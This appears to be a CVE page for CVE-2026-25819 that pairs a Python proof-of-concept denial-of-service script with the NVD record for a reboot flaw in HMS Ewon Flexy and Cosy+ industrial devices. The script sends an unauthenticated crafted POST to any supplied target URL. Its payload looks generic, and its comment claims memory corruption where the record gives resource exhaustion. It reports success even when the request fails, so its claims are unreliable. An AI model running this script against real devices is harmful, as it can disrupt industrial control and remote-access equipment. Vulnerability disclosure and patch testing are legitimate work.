CVE-2026-25819

#!/usr/bin/env python3 # CVE-2026-25819 PoC - Ewon Flexy/Cosy+ DoS # Description: Unauthenticated attackers can cause device reboot via crafted HTTP request import requests import sys import time def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2026-25819""" headers = { 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2026-25819-PoC)', 'Content-Type': 'application/x-www-form-urlencoded', } # Crafted payload that triggers the DoS condition # This specific pattern causes memory corruption leading to reboot payload = { 'action': 'reboot', 'param': 'A' * 1000, 'submit': '1' } try: print(f"[*] Sending crafted HTTP request to {target_url}") response = requests.post(target_url, data=payload, headers=headers, timeout=10) print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[+] Request sent - device may be rebooting: {e}") return True def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2026-25819-poc.py <target_url>") print("Example: python3 cve-2026-25819-poc.py http://192.168.1.100/") sys.exit(1) target = sys.argv[1].rstrip('/') + '/' print(f"[+] CVE-2026-25819 PoC for HMS Ewon Flexy/Cosy+") print(f"[+] Target: {target}") if check_vulnerability(target): print("[+] Payload sent successfully") print("[+] Target device should reboot within seconds") print("[+] Note: Multiple requests may be needed for confirmation") if __name__ == '__main__': main()

{"cve": {"id": "CVE-2026-25819", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:27.627", "lastModified": "2026-04-27T19:18:46.690", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "HMS Networks Ewon Flexy with firmware before 15.0s4, Cosy+ with firmware 22.xx before 22.1s6, and Cosy+ with firmware 23.xx before 23.0s3 allows unauthenticated attackers to cause a Denial of Service by using a specially crafted HTTP request that leads to a reboot of the device, provided they have access to the device's GUI."}, {"lang": "es", "value": "HMS Networks Ewon Flexy con firmware anterior a 15.0s4, Cosy+ con firmware 22.xx anterior a 22.1s6, y Cosy+ con firmware 23.xx anterior a 23.0s3 permite a atacantes no autenticados causar una denegación de servicio mediante el uso de una solicitud HTTP especialmente diseñada que provoca un reinicio del dispositivo, siempre que tengan acceso a la GUI del dispositivo."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "https://hmsnetworks.blob.core.windows.net/nlw/docs/default-source/products/cybersecurity/security-advisory/hms-security-advisory-2026-03-09-001---ewon-several-flexy-and-cosy--vulnerabilities.pdf?sfvrsn=f7c027b8_13", "source": "[email protected]"}, {"url": "https://www.hms-networks.com/p/flexy20500-00ma-ewon-flexy-205", "source": "[email protected]"}]}}